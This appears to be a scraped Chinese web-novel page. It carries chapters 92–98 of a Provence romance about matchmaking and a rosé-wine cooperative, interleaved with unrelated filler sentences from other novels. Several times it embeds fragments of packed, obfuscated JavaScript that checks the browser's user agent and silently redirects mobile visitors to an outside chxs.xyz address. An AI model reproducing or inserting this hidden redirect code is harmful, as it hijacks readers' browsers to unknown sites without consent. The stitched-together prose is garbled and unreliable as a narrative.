佐伊的话不能反驳。 嗯......对,不能反驳。 路易‘心痛’的把杯子里的红葡萄酒干了。 罗南和佐伊是必须要在一起吗? 嫁出去了女儿,还要丢掉一个兄弟?! ......
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860050|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “卢尔马兰没有比罗南更好的小伙子,如果佐伊一定要嫁人,那个人只能是罗南,别人我不同意!”路易用食指指着空气说。 在普罗旺斯的‘手势字典’里,这个手势代表说话人讲的话不允许任何人反驳。 为了给罗南和佐伊创造独处空间,路易进厨房帮莉亚一起刷碗,当然这只是装装样子,莉亚不敢让他碰这里的任何东西。 夫妻俩短暂的‘和好’了,为两个孩子的情况而担忧。 “但他们这样好久了,似乎没有什么特别的进展?”莉亚板着脸说。 路易靠在橱柜上: “别着急,他们才认识四个月,还在互相了解的阶段。” 莉亚擦了擦手: “罗南和佐伊都是优秀的孩子,万一......” 路易看了一眼门外: “那就给他们多创造一些相处的机会。” 一说这个莉亚更着急了: “以前他们还能单独摆摊,现在我和维埃里去给罗南帮忙,他们连这个机会都没了。” 路易摸着胡子说: “也不是没有办法。” ...... 罗南不能待太久,他下午还有事。 路易出去送罗南时,靠在他的车上提起一件事: “佐伊在艾克斯报了一个进修班,五月份要去进修一周,那辆车出了问题后我不敢开太远,你知道的,它随时都有可能再次出故障,如果你不是很忙,可以帮我接送一下她吗?” 艾克斯是普罗旺斯的文化、经济和知识中心,是法国重要的国际大学城,那里有来自世界各地的学生,还有人说那是“普罗旺斯最好的地方”。 “可以啊。”罗南痛快的答应下来。 莉亚兴奋的攥了一下拳头。 路易很满意妻子的反应,这正是他想看到的。 他插着裤口袋,‘帅气’的拍了拍罗南的车门: “快去吧,早去早回,晚上过来吃饭,继续我们上午的话题,我还有很多可以教你的。” 罗南想了想,答应下来: “好,那我晚上过来。” 确实需要再‘巩固’一下技巧。 莉亚两只拳头同时攥了起来! 罗南的车尾消失在转角,莉亚猛冲过来抱住路易的脖子。 “亲爱的你太棒了!你太棒了!!” 她像‘小鸡啄米’一样在路易的脸上亲了起来。 路易骄傲的回抱住老婆。 你看......‘维持激情的秘诀’就是如此的管用。 这个女人又一次被他的魅力征服了。 第93章 不好沟通的记者们【求追读!!!】 无比恭敬的叩首道,杨永的身体还晃动几下,似乎是在表现自己的年老体衰。 很怂很怂的她,当然知道自己趁机落跑,绝壁能把那个男人气到发疯。 乔景舟被人粗暴的架进了实验室,看着就让人心生畏惧的工具台推了过来。 不多时,搜查的侍卫们已经回来了,不过他们却并没有发现寺院当中有什么隐秘。 他听了一圈下来,只觉得这首歌与先前脱胎的模样没有什么区别。 同样苏酥对江轩攻击时候,就能够看到江轩此时此刻正在做的事情。 在许朔玩过的rpg游戏里,他还从来没见过这样的魔兽,羊在人的印象中往往是温顺的形象,所以很少有游戏制作者会以羊的形象来制作魔兽。这样看来异世界跟游戏的差异还是蛮多的。 而算命先生只是安静地看着龙王砸了自己的摊子,随后医一声冷笑话。 “诶?!有这种级别的存在,打赢魔族不是很简单的事情吗?”许朔有些被震撼到,心想有这样的强者还要他这种三流的外派勇者干嘛,还是说魔族真的那么难搞? 这双手的力量竟然这么强……,凌逊又惊又喜,他预计凭着双掌的力量,甚至能硬刚二级蚀魇侵蚀的生物。 “襄城伯,是非黑白你我心中都有数,就眼前这景瞎子都知道怎么回事,咱家只是奉命查探回头禀明皇爷,是非自有皇爷论断”。 这个削瘦的青年对于自己的过去一无所知,村子里的人明里暗里,都试了很多次,想要知道他到底是不是故意装成这样的。 位于地下基地最深的一层的房间,这是一间保密等级极高的密室,若非立华奏与伊卡洛斯掠夺了地下基地的所有信息资料,估计也发现不了这个房间。 “佣兵城中禁止私自争斗,如果有仇去野外或者决斗场,听到没!”禁卫军中为首的中年人近似命令的说道。 古凡程这时候早就已经准备好了,只要薛苍宇一发飙,他马上就把楚昊然给拉下去。 “既然如此,事情就好办了!二位叔叔不用问那东西,两个月后,我们联手,要让夺灵殿有来无回!”杨莫重重的说道。 方姿没有回答这个问题,而明白了什么的柳青也停止询问,她是席家的保姆,不是监护人,不该问的别问。 橘枳就是再聪明,这时候也捉摸不透,说话这东西,很多时候都是张口就来,情不自禁,没有道理的。 “利好兑现,品种却没有按照预期的方向走说明什么?”王朗看着开始掉头向下的黄金问道。 “你到底是什么人?”宋铭泽看着眼前诡异而恐怖的景象厉声喝问道。 然后她就在长安城里最热闹的一条街上闲逛着,买了些胭脂花粉,买了几件色彩很鲜艳的衣服,还买了些价钱不贵、却很好看的首饰。 因此这一刻,听到张飞突然离开的关羽心中想的都是张飞会不会不听他的劝说,直接去乱搞事了,以关羽对他的了解,这种事情张飞就绝对有很大可能去做的。 丁麟笑道:"我还以为你就是''''飞狐''''杨天哩。"杨轩皱了皱眉,西门十三也不禁为之动容。 还没等张猛将刚刷出来的“l”型方块旋转好,顷刻间,他的画面,一座大厦平地而起,方块高度噌噌噌的往上涨,刚出来的“l”型方块直接卡在大厦顶端,挂了。 叶开道:“那么我为什么一定要吃这颗花生呢?“他微笑着,将花生慢慢地放回去。 诶!还好我哥出差了,不然被他知道刚搬出来就差点把脚给弄折了,他肯定会气的把我的行李搬回与他同住,受了那么多伤,耗了那么多精力,也不知他今天是否会来,算了,还是先把一切准备就绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不等说完,直接被张夜一掌拍成了碎片,连同他的金丹一起都击杀了。也包括黄星的七宝葫芦一同被击杀。 方尘在出事的地方,四处转了一会儿,仿佛要把这些景象牢牢地印在脑海中一般,之后,缓缓地闭上了眼睛。 第94章 我爱卢尔马兰【求追读!!!】 当初,自己落难的时候,是她们帮了自己,如今,除了她们,她对谁都是有礼而疏远,不近也让人说不出话来。 “哼,等人家下来了,我要加倍的收码头费。”陈鱼很鸭霸的道。 然而就在那一阵阵惊呼声当中,在王昊难看的神色当中,刑天却是全然不在意。 不过现在只是1人,到以后的话会出现100人,这样的话真不知道会变成什么样的了。 禾乃抽泣,和刀般的锋利皆化为虚无。星则渊看着她,不知不觉落下了泪,他知道自己不该去,但他想幼幽。 “你不想告诉我就算了,那我就自己练”慕容显然已经猜出了俞升所想,她又打坐练起功来。 “主公但请吩咐,赴汤蹈火,在所不辞,晃愿为主公分忧。”徐晃先是一惊,接着就是一喜,慌忙拜下应声道,能够替董卓办事,正是他们这些将领心中所希望的,要嫌也是嫌事情少,董卓开口,他又怎么可能去拒绝。 贾靖也可以想象,李郁他们这是接下了一个烫手的山芋,不过相对李郁他们来说麻烦并不大,因为李郁只要现在变回原形就没有人会来找他的麻烦,所以贾靖也并不为李郁二人着急。 “嘻嘻嘻……”脚上传來的酥麻已经止住,可是甄宓的笑声却沒有立即止住,就好似疾走刹车会有惯性一样,此时的甄宓就是这种状态,娇躯挣扎扭动,在董卓怀里使劲儿的折腾着。 躲起来的安迪没有立刻展开攻击力,而是开始制作出一件武器来,现在他需要的武器那就攻击速度的武器,而这种武器那就是匕首。 乔夜扯了扯赫连皓的手,将破衣角塞到男人手里,眼睛好奇地看着赫连皓。他还没有见过爹爹的暗卫呢,也不知道有没有娘亲的厉害? 虽说千夫长并不是军中的高官,但是对于当下的千邑来说,仅仅只有一千人的兵力,千夫长就已经是秦军在千邑最高的军事长官了。 此时的虢公季真的是病重不堪了,虽然因为地震整个国家处在一种忙碌、紧张、甚至是有些无序的状态下。但这些对此时的虢公季来说已经不重要了。 就算她突破至至尊境三重,可是落灵谷是不知晓灵犀秘境是有多危险吗? 陆卿卿轻哼一声,心里的怀疑倒是消了大半,只不过还有一丝连她自己都说不出的奇怪。 她问了很多人他喜欢什么,可是宫里的人大多不知道,所以最后她只能去找言玄。 当嬴康带人赵伯圉护送着公主姬若曦回到都城的时候已经是晚上了。 跟聪明人说话,就是不费事,他才说一半,她就已经明白他的意思。 “君上已经为矢国君臣想好了出路,这出路在哪里呢?”陈兴不仅问道。 勉强抬起头,君一笑的眼神落在场中多出的一位满脸怒气的老者身上,此时的老者正单手按在阴鹫青年的背后,温润的水属性仙元力不断灌输进阴鹫青年的体内。 好在当今新登基的身上,对灵兽城和慕容家照顾有加,派了人力物力的资源,帮着慕容家重建灵兽城。 沈鹤依见她不再继续说下,而且脸上的表情多变起来,心里顿时明白了她在想什么。 达茜没说什么,从任务处那里拿走了148号任务的报酬之后,就离开了。 统一的黑色西服、墨镜,除了没有人手一把西瓜刀外,几乎跟香港电影里的黑社会一个德性。 既然人家找到自己,那就证明这个李睿相信自己,而且还是绝对的雪中送炭。就算是人家吃定了自己又能咋样?自己难道还有更好的选择么? 他的意识再次沦陷,反正也不知道是谁,反正该做的都做了,既然如此,那就放纵到底好了。 冥愤然飞身而起,一刻也不耽误的在天空打转,从天上俯视下方的这片天地。 体内的气血再次沸腾,黑衣人的脸色从黑变成青,再从青变成红,再从红变成紫,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860052|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后停留在灰白的色彩上。捏成拳头的双手,骨头摩擦得咯咯作响。 这哪里是通缉画像呀,这可是皇上的墨宝,还不是信手涂鸦的那一种,谁敢弄一桶浆糊,刷在墙上呀,最后全国各地出现了一个奇观,画像被装裱的富丽堂皇,挂在了当地最富盛名的庙宇之中,罩上了纱幔,共百姓观瞻。 同样一丝不挂地走到南宫瑾身边,很想从后面环住他百看不厌的身体,可是想到他对自己的敏感,罗羽菱还是没有伸手。 胖胖张着嘴,眨巴了几下眼睛,一向话痨的他突然有点恍惚,不知道该说什么。 他昨天看到娘在酥食园对面卖力的吆喝,为了糕饼能够卖出去,端着碟子拉着行人试吃。 郭敏洁揉了揉眼睛,手指向下滑到了自己脖颈,她微微歪头,白皙的指尖在拉长的一侧轻轻弹动。 本来他是打算去清河湾要那剩下的五十两银子,没想到在路上碰到了。 本以为白门楼之后,高顺已然进了三尺黄土,没想到他居然还活着。 叫声此起彼伏,拿到这张2点牌能提高很多保枪概率,大家都在抢。 密密麻麻的长矛,带着沉闷的破空声,呼啸着砸向最前方的丹阳兵。 钟姨抱紧手里的表格“不发了不发了,我一 个只跪先人和父母高堂的大活人,大清早被人这么跪,真是晦气。 此时的唐天通过这一个下午的观察和刚刚的谈话,隐约的感觉到这件事没有之前大家所说的那么简单了。 山里分布着许多村民,都是沈雪宁请来帮着种树苗的,种一棵树苗两块钱,大家积极得很。 白天宇之前的攻击一直维持在帝境五重,可刚刚那一招却一下子将他的攻击提升到了帝境六重。 防线坚固与否德里坦并不看重,反正亡灵们从来不靠掩体工事什么的来战斗,只要数量足够多,无论是进攻还是防御他们都一样会让敌人头疼不已。 第95章 世界蜜饯之都 “若是有朝一日我们能够享受真正的阳光,你是愿意在丹麦居住,还是在德国定居?”林恩很自然地提起今后的生活,以几十年后的观念,只差问问是否介意跟公婆同住了。 斯维亚多斯拉维奇手中的战斧断裂,就用斧柄敲碎一名敌人的头盔。合身扑向另一名手持狼牙棒的敌人,两人一起滚落马下。 杜睿又哪里舍得责罚,只是苦笑不已,正说着,突然外面传来一阵惊天动地的响声,连地面都再跟着颤抖。 彭修惊得魂飞魄散,刚叫了一声,蓦然发现唐信直起身扭头朝他露出一抹轻淡的狞笑。 在各级首长的感召下,放下武器的代本通电起义了,不但是通电起义。团长格桑旺堆还主动联系他所能联系到的一切力量,宣传解放军的方针、政策、作风和优良传统,宣传解放军如何关心老百姓的疾苦。 天色已经全黑,犹豫自己阵地火光的影响,指挥官无法看清对面任何情况,只能靠斥候抵近观察。这不是好办法,出去多,回来少。他也搞不明白,这些家伙如何摸黑作战,就不怕自己人践踏造成的损失? 【看来也不是一无是处嘛。】卡米尤眼中闪过一丝意外,不过转瞬之间便消失了。 何嫣想到如果唐信真和楚婷发生了什么,那么楚婷没必要道歉,唐信也不可能提上裤子就翻脸不认人,还和对方刻意保持一定距离。 片刻功夫,基地周围的防空部队开火了,重型高炮发射时的声势有如雷鸣。 她怔了怔,眼眶瞬间红了,明明是濒死的人,此时却因为求生的意志而硬生生迸发出了力量。 但是其余的人却没有这种思维,他们的注意力落在了另一件事身上。 在这一瞬间,她万念俱灰,脑海中只有一个念头随他而去。她颤抖着双手,缓缓地抽出腰间的佩饰,紧紧地握在手中,仿佛那是她与丈夫最后的联系。 不过那个叫做陈炜的,太没用了吧,敌人都潜入自家大本营了,他都毫无察觉。 人的精力毕竟有限,经营领地和管理军队都消耗了他大量时间精力,就不可能沉迷剑术,里奥练剑的时间不多。 郝东也不客气,此时正是表忠心的时候,他毫不犹豫地结束了雷叔的性命。 是因为永续陷阱“圣夜的降临”,有着在双方“主要阶段”回手煌龙的效果。 若是没有追击魔修的任务,那我亲自前往凌霄剑派,教剑派内的阵法师们布阵并亲自演示。 “奴家好生失望,感觉心口都碎了一般!”妹子纤细的手指压在左胸,深呼吸时一涨一落。 徐刚只感觉到气血翻腾,朱敦儒一下子连跳六级,从九品直接到了四品。 云迟忍不住伸手就掐住了他的耳朵,将他往后拉。反正已经知道他死不了了,她再粗鲁点也无所谓了。 我也不知道该如何去描绘那种感觉,只是这股茶水的香味,好像窜入我的身体,变得充满了活力和精气神。 云迟的办法,听得到风铃鸟的声音,其实就能够知道雄花在哪里。 王旭东已经很久没有见到这么神采飞扬的苏婉琪了,他是发自内心地为苏婉琪感到开心。 龙飞长长的舒了一口气,因为他知道,如果丁焱拒绝自己的挑战,那么他也就仅仅能获得十分的挑战积分。 “那温若消失了,可能消息透露,遭到了欧阳家的毒手,也有可能是温家的对手暗中阻挠,温家家主已经前来谢罪了。”上官睿说道。 他们两个无比的郁闷,这一次陪同药洛溪前来,本想讨她欢心,两人还约定到时候谁帮药洛溪找到沙茗之花,谁就成为最后的追求者,却没想到发生了这样的意外。 就在龙飞抵挡住黑鳞巨蛟的舌头攻击的时候,只见这头黑鳞巨蛟的眼睛里,顿时浮现出一抹惊惧的表情。 经此一下,大乾跟齐国怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860053|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要成了死仇,再也没有回旋余地了。那样一来,大乾也只能越发倚重楚国。 成就天君之位,乾元的修行速度明显慢了下来,就算他尽享禹余天功德气运,想要再做突破,也非一朝一夕之事。 血战盟的人纷纷点头称是,似乎很赞同那人的说法,我就有些郁闷了,我杀了b就很可恶么? 角斗士的表现立刻招来了竞技场内过万名观众的狂呼追捧,呼喊的热浪一浪高过一浪。 “对不起,我来晚了。”芸芸正要去挪开椅子,领位员已经先她一步,帮她把椅子往外移。 “唐科长的家境似乎不是很好吧?”秦扬向李海霞询问了一下,以确定自己的判断。 程宝珍看着玩世不恭的陈宇,摇了摇头“确实,你很出众也很帅,所以,你跟我们不是同一路人。”说着,拉起袁茵便起身,随后留下一道绚丽地背影。 远远看去,正是一定装饰煞是华丽的八抬大轿,步履稳健的朝着江王府的方向走来,轿子的前后,唢呐声响起,仿佛整个洛城都能够听得见一般洪亮。 转眼间,黑蛖的感识已在无界内形成了一条漆黑蛟龙,巨大的身躯直接没入那数十道的飓风之中。 她话没说过,但建宁却明白了,孔四贞这意思,如果自己下回再说那样的话,她还是会反击,会打自己。 站在岸上,沐一一半隐半匿在雾中,听见老翁爽朗的笑声,震的周边的武器仿佛都要裂开。 “三爷爷,刚才要不是这两人恐怕您已经见不到我了,刚才这人还和那个金丹期高手对了一掌,然后就被打伤了。”赵舞说道。 看了张志东一眼,王浩明撇了撇嘴,心想刚才你说了一大断老子也不说你,现在老子只说了一句,你就在吱吱歪歪,哼,看看哥教你怎么样装b吧。 叶飞和李佳怡刚刚下了斜坡,便看到她身上绽放出一团血雾,李佳怡的身体软软倒了下去。 第96章 成分复杂的聚会 它一愣,望着悬浮在叶无双头顶的那一团大道之光,一双贼眸闪烁光芒,又消失在了绝对空间,出现在外面。 与此同时,万妖山,十名祖巫亦是全部睁开了眼睛,他们互相对望一眼之后,脸上写满了震惊。 沉睡中的叶磊突然睁开了双眼,赤红着双眼向那黯淡的天色怒吼。 “大长老,给不周仙山诸圣传令,只要他们没将诛仙剑阵摆在不周仙城门前,便不能贸然出手!”洛方竟是下了这么一道命令。 韩馥其他的军队,得令较晚,放箭已然用处不大,只有张颌那边,堵住了溃军的路线,但这也使得其他方向压力猛增。 虽然这个时候是学生们吃早饭的时间,但这里的食堂还在装修中,并没有对外开放,倒是显得冷清了不少。 这个张浩之的炼丹实力,在整个青年炼丹师当中,就是前三的存在,他能挥出这般惊人的成绩,也是理所当然的。 通天墓碑耸立,密布血色纹络,森然诡异,那血腥与杀伐神光笼罩中,依稀能看到上面有四个恐怖的古字。 林天觉得,以自己英俊的外表,潇洒的气质,一定会登上所有国家的头条新闻的。 吴昊说,如果魔主在附近,这块灵玉就会散发出一种特殊的灵气给他。 “菩萨,这莫非就是传说中能够通晓六界任何事的谛听?”我抬头看着一派安详之色的地藏王菩萨,开口问道。 “哈哈,这丫头什么烂枪法,也不知道在打哪里,唔”。龙眼正在嘲笑着夏弦月,忽然子弹从下方穿透出来,恰好穿透了他的身体。 此时的藩王宗室早已围住了屏风,看着南北美洲,对照大明所在,心中有着各种各样的想法,最多的问题还是不知道那边的情况,很想了解。 进入城市中凌天打量着四周只见这里还正如慕天瑶所说完全是一个贫民星根本就无法更凌天初到的那可有金灵果树的星球相比。 “有杀气!”猫爷和武叔同时一个激灵,回头一看,宁枫正站在他们背后,她还是薄薄的衬衫和短裙,凹凸有致的身材尽显无遗,脸上始终保持浅浅的微笑。 吃完饭,冯臻臻熟练地收拾好餐具,端到厨房里洗好,等她回到咖啡厅时,封海齐正整理当天找来的物资,埋头编织袋里翻腾着。 “水灵界源水宗大长老?”有人认出了此老者的身份不仅惊呼道。 他径直来到村委会办公室,进了房门,这才把头盔脱下,不是王璐,又是谁? 果不其然,雷罡和土行分身来到火焚之地外围之时,几道长虹急速射来,落在了雷罡面前。 了解到这些信息后,陈虎暗自警惕了起来,随后与黑水妹聊了几句后,便将私信关闭了。 青峰很卖乖地迎了上去,三言两语尽量精简地将我们今天的经历说了一遍,看猴哥和刘鑫脸上的表情一直变化着,由最初的不知所以到最后满满的怒气。 对于一直庆幸寡欲很多年,唯一一次滚床单经验还是两个多月前的奕凡来说,这箱东西给他的冲击太大了,现在心脏还扑通扑通狂跳呢,要不是定力好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860054|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没准儿立刻流鼻血了。 “这个,这个实在是在下当时身受重伤一时没有想到此节。请主公恕罪。”松上义光连忙解释道。 “你的意思。是想豢养我。”栖蝶恨恨的看着他。这一切都是始料未及的。她只是想來打探一些事情。沒想到却闯入了别人的陷阱。 可能是这片丛林的神秘之处,就连野三七的药性都强大许多,就这一下子,陈虎竟然就已经能感觉到自己的伤口有一点点发痒。 因为她看到了有个男人睡在她旁边,不是别人正是君墨尘那厮,连睡觉的时候都是一副魅惑人心的模样,真想狠狠心把他变成猪头。 秦无炎看着她的脸,往日的慵懒和戏谑一扫而空,他的眸‘色’幽冷,带着研判,不放过一丝一毫细微的表情。 “我有没有跟你说离那个云若轩远一点?”白恒之脸上的笑意疏冷,眸中似有幽光闪烁。 罗森皱了皱眉头,视线微动,并未在石屋之内发现别的传承者。而其胸口之上的玉牌,此刻正绽放着莹莹玉光,证明自己的队友,便是胸口玉牌同样发光的鲍望。 “今天的事情,我不希望外人知道,还有,我帮你抓捕犯人,也不能让太多人知道。”孟凡说道,他有他的顾虑。 他没那么多的时间去挨个让他们磨合,七玄,注定是墨凡最忠实的左膀右臂,他们手握大权,就要有着相应的职责,所以,一切,都看他们自己。 这一下,仓颉躲在暗处,不看则已,一见顿时被吓得魂飞魄散,差点惊出声来。 第97章 酿酒合作社 袁陌若有所思,过了片刻,方才深深地松了口气,仿佛有什么一直困扰他的实情,忽然之间便全都想明白了一般,有如释重负之感。 他知道这一场的重要性,这场比赛基本奠定他会不会继续留在这个舞台。 一直等在门口白落花听到身后的动静惊咦一声,她没想到隋朝竟然还能发出声音来。 可以说,今天南山大队除了综合中队的内勤人员以外,几乎全部勤务民警都过来了,李钢也显得特别兴奋,开心的拉起了喊话器,宣布行动开始。 而这条高速公路,在这工作越久,越觉得这路上波谲云诡,很多地方暗藏风险。 “他们就不怕直接把我弄死吗?”李阳开车,眼睛微微眯了起来,熟悉的人都清楚,他这是生气了的表现。 这一刻,百姓们都炸了锅,纷纷质疑了起来,那些闹事的,见形势一片大好,也趁机开始鼓噪,让百姓躁动的情形有愈演愈烈的趋势。 就在佐格的巨掌即将要落下的那一刻,夏川的身影经过传送,传送到来了佐格的身后。 张念祖找来改锥,捣鼓了一会就从滚筒和洗衣机机箱之间扒拉出一个橄榄核似的金属疙瘩——就是从刘跃进骨灰里掉出来那个,忙了这一晚上,张念祖几乎把它忘了。 真是太不巧了,怎么让我这个当长辈的给看见了。要是早知道,我死也不看。 大傻是住手了,可是旁边还有一位绿珠公主,她早就想要这可白胖的人头为自己的父母报仇,只见战斧刚一撤回,一道白光,闪在白胖的人头上面,顿时鲜血溅了大傻一脸。 听到霍雷德的话,周围一大片的村民渐渐镇定了下来,但望着不一会就要冲来的火炎飞龙,他们个个呈现出非常惧怕的模样,许多村民还是不由得发出声声惊喊。 七月,龙家寨家家户户的农作物长势很好。放眼望去,一层层绿波随风飘荡,飘出了老百姓的喜悦,荡出了老百姓的悠闲。 二太太跟虎蛇的关系,虎豹早就知道,只是没有拆穿,不过他对十八娘是疼爱有加,也许这里会遭到二太太的嫉妒,可二太太跟了虎蛇,应该不会有什么嫉妒,那么杀人动机一定是为了虎豹的产业。 “你这么如临大敌的盯着我做什么,我可是你大哥。”桃桑满脸无辜。 从墓地里那个黑漆漆的隧道走着走着,王灵韵三人就来到了这座安静的城市。妖怪之城这边正值夜晚,不是太热闹,城里开灯的人家也不多。站在高处的眺望楼里俯瞰城市,这里的每一寸土地都给人一种鬼城的阴森感。 男人瞳仁泛白,僵硬的转过头,一瞧见千晚,惊得周身死气都活泛了些。 李三和贾媛媛也忙着结婚用品,他们是排场虽然比不上唐龙额婚礼,至少场面也要对的起观众。 位于琥珀堡的后山上,凭高据险,有坚固的城墙,据说从未被攻破过,是护卫安梅尔城池的要塞。由杰伊辛格一世所建,是琥珀堡建成之前的王宫。城堡内有一尊据称是“全世界最大的轮式大炮”。 那被称作林三少的家族子弟,越加的气愤了,冷冷的扫了那人一眼,暗哼了一声。 只有等这款手机真正的席卷全球后或者智能手机在全国普遍应用起来,这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860055|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开发公司都会跟着强盛起来。现在这款手机已经推出,他们强大的机会还远么? “废话,我们早就看出来了。真是恐怖,我们天人在那些普通人的眼中,已经是高不可攀的存在了。 毕竟能以自身努力,超拔心、体、神、气四道成就神魔,这本身就以象征着,他们诞生出了代表着自己的独一无二的十一阶之路。 本来,他们看到道门北岳降临,激动得不知自已,以为接下来就是横扫碾压的剧本……可现在这样,算怎么回事? 久久苦思不得结果的张扬无奈的摇了摇头,然后清空大脑沉沉睡去。 蜈蚣精被千眼蜈蚣一族的老祖宗带走,他的父亲却没与这个福气,而且妖界向来都是强者为尊,只听强者的,如果儿子比父亲厉害,父亲也不一定真能沾光。 加比尔连安利柯德的身体都没靠近,他自己就像是被点燃了的蜡烛一样,半途中化为了灰飞。 想要走第三条路的他,却放任蝉在此放肆……看似矛盾,实则不然。 “你傻,还是把我当成傻瓜了?这是赌吗?如果你们输了的话就拿出和这些灵珠等价的东西来给我。”李明有点蔑视的看着眼前的这个傻瓜。 “咔咔”石头之中的裂缝越来越多,但终究是没有完全的碎裂。穆天宸看了一眼刘露,其螓首微点,缓步踏出。 在营地大帐之内,床榻之上穆天宸静静的盘坐,空间中有着细微的元气波动传出,接着一缕缕元气顺着穆天宸全身的穴道进入体内。修炼之路犹如逆水行舟,所以不管在何时穆天宸也不敢丝毫的怠慢元气的修炼。 第98章 大人物 这场‘谈判’持续了不短的时间。 会长伊内斯的耐心已消耗殆尽,对艾略特和昆西的态度没有一开始那么好了。 “我不明白,这件事和沃克吕兹省旅游局有什么关系?和普罗旺斯美食协会又有什么关系?你们以什么身份要求我们做这些?” 做为中间人,气氛僵持的时候,艾略特有义务协调双方‘冷静’下来。 “伊内斯,我们是老朋友了,我帮助米切兰杂志社和政府达成过很多次合作,试问哪一次最终结果不是对米切兰有利的?我不会害你们的......”为了拉近关系,艾略特是在场人中粉红酒喝得最努力的人,极力想让伊内斯把他当作是自己人。 伊内斯双手抱胸,冰冷的看着他: “米切兰杂志社有200多名员工,‘沃克吕兹省粉红酒爱好者协会’只有20多个人,你可以自己去说服那几百家酿酒合作社,同时再把‘沃克吕兹省美食联盟’概念传输给他们,一举两得的事情不是吗?” 艾略特尴尬的喝起了酒,不再答话。 昆西继续用他的理由说服伊内斯: “我理解这是件工程量极大的事,所以你们可以向旅游局申请资金支持,再用这笔钱找人执行,我可以向你保证,这笔钱一定会批下来。” “旅游局为什么不花钱自己找人执行?”伊内斯反问。 她也是领导,非常清楚批预算需要多长时间、要写多少‘申请’,说不定还要设定目标和阶段性汇报...... 为什么要揽下这么费时费力的一件事情? 我们是很热爱粉红酒,但这个要求太‘过’了! 昆西为难的说: “因为用你们的身份做这件事,酿酒合作社的接受程度更高......保护和发扬粉红酒的传统酿制技艺和你们的目标是一致的。” 默默旁听的罗南心中一动。 原来推动这件事真的是为了酿制技艺,雅克先生的判断是对的。 “讲的真好,我差点就相信了,难道不是因为旅游局的‘小心思’不想被人发现吗?”在外面转了一大圈的阿斯特丽德推门见艾略特和昆西居然还在,厌恶的说,“你们把我一天的好心情全毁了,能不能带着你们的‘政治’离开这里?今天是聚会的日子,不是开会的日子!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860056|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾略特和昆西互看了一眼,识趣的起身: “抱歉了各位,耽误了你们的聚会。” 两位‘外人’离开后,杰罗姆小心翼翼的问阿斯特丽德: “你知道些什么?” 阿斯特丽德开了一瓶新的粉红酒: “旅游局是近几年来沃克吕兹省表现最亮眼的部门,上位者想要分到更多的‘利益’,把触角偷偷伸向了更多地方,最好触及的当然是文化领域,这两者有很多重叠的地方。” “用旅游局的钱,做文化局该做的事?”加布里埃尔这个商人听不明白了。 在工商业联盟担任重要职位的科伦坦,笑着耸肩: 